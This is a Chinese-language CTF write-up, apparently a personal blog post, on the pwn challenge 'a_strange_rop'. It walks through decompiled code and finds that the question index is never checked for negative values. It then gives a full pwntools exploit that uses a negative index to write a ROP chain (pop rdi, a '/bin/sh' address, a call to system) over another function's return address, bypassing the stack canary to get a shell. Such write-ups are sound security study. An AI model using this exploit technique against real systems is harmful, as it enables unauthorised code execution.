a_strange_rop

题目来自2025XSWCTF决赛的pwn题: a_atrange_rop

赛后才做出来

我也真是无敌了…

题目为64位动态链接elf文件

保护为NXcanary

既然题目叫a_stranre_rop

我们先看看有没有gadget

1
ROPgadget --binary ./a_strange_rop | grep "pop rdi"

找到了pop rdi; ret;这样的一个gadget

先观察一下题目逻辑

1
2
3
4
5
6
7
8
9
10
11
undefined8 main(EVP_PKEY_CTX *param_1)
{
int iVar1;

init(param_1);
iVar1 = game();
if (iVar1 == 1) {
win();
}
return 0;
}

init为初始化函数,无实际意义,忽略

我们先来看一下win函数

1
2
3
4
5
6
7
void win(void)

{
puts("good!");
system("ababalabalabalawuwuwuuwyyyyy");
return;
}

可以看到即使调用了win也不会真的win,但是它为我们提供了call system这样一个系统调用的函数

配合我们上面找到的gadget

似乎很容易就能写出system(“/bin/sh”)

来看看主逻辑game部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
undefined8 game(void)

{
int iVar1;
int iVar2;
time_t tVar3;
undefined8 uVar4;
long in_FS_OFFSET;
int local_78;
uint local_74;
long local_68 [11];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
id = 0;
puts(&DAT_0040202b);
tVar3 = time((time_t *)0x0);
srand((uint)tVar3);
for (local_78 = 0; local_78 < 10; local_78 = local_78 + 1) {
iVar1 = FUN_00401160();
iVar2 = FUN_00401160();
printf(&DAT_00402041,(ulong)id,(ulong)(uint)(iVar1 % 0x14),(ulong)(uint)(iVar2 % 0x14));
(&answer)[(int)id] = (long)(iVar2 % 0x14 + iVar1 % 0x14);
id = id + 1;
}
puts(&DAT_00402058);
for (; t < 0xb; t = t + 1) {
printf(&DAT_00402077);
__isoc99_scanf(&DAT_00402085,&id);
if (9 < (int)id) {
puts(&DAT_00402088);
/* WARNING: Subroutine does not return */
exit(0x1bf52);
}
printf(&DAT_004020a8);
__isoc99_scanf(&DAT_004020b0,local_68 + (int)id);
}
puts(&DAT_004020b8);
local_74 = 0;
do {
if (9 < (int)local_74) {
uVar4 = 1;
LAB_00401548:
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar4;
}
if ((&answer)[(int)local_74] != local_68[(int)local_74]) {
printf(&DAT_004020d8,(ulong)local_74);
uVar4 = 0;
goto LAB_00401548;
}
local_74 = local_74 + 1;
} while( true );
}

运行起来是这么个样子

交互

略微有点长,但是并不难理解,local_10为随机生成的canary值,因此不能直接溢出覆盖返回地址,否则会触发canary检测程序直接退出

题目要求回答一些小学数学题目,全部回答正确就跳转到win函数,但是我们已经看到win函数并没有实际作用,因此思路依旧是覆盖返回地址为我们构造的rop链

先来分析一下栈布局

定义了一个数组local_68[11]

可以分析得出

栈布局大致如此

题目设置了一个小check机制,明明有0到9十道题目,但是数组设置了0到10十一个题目编号,而输入的题目编号大于9的时候程序自动退出,并大声斥责我们你想干什么!

我的第一个思路是设置题目编号为8,即local_68[9]所在的位置,向上填充至覆盖rip,执行rop链

但是这个canary是我永远越不过的坎…

思来想去,我突然注意到,题目编号大于9时会自动退出,但是题目却不检查负数编号!

因此我们可以将题目设置为负数通过负索引去写前面的地址!

用gdb看一看怎么个事儿

我在第一次输入后打上了断点,输入编号-1并输入答案666,local_68在rbp下0x60的位置,我们看看更下面的情况

地址情况

可以看到,正如我们分析的那般,-1索引写的666代表的00029a写在了local_68下方的地址,再认真一看,前方的0x004014bc不正是另一个函数的返回地址吗!

我们只需要将索引设置为-3便可以覆盖另一个函数的返回地址来执行我们的rop链

这个函数用canary将我们拦住,十分安全,可是,另一个函数却已经悄然被我们所攻克…

题目也是十分贴心,/bin/sh字符串都帮我们准备好了

接下来便很简单了

exp也是十分优雅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = remote('host',port)

bin_sh = str(4210808) # 0x404078
call_system = str(4199136) # 0x4012e0
pop_rdi_ret = str(4199153) # 0x4012f1

def send_pair(idx, val):
p.recvuntil('题目编号:')
p.send(f"{idx}\n".encode())
p.recvuntil('结果:')
p.send(f"{val}\n".encode())

send_pair(-2, bin_sh) # 写 /bin/sh
send_pair(-1, call_system) # 调用 system
send_pair(-3, pop_rdi_ret) # 覆盖另一个函数的rip

p.interactive()

最后也是成功地拿到shell

至此,终于理解题目为什么叫:a_strange_rop!

2026.2.11

ps:

经典负索引

hh


a_strange_rop
https://roxy5201314.github.io/2025/12/25/a-strange-rop/
作者
roxy
发布于
2025年12月25日
更新于
2026年2月12日
许可协议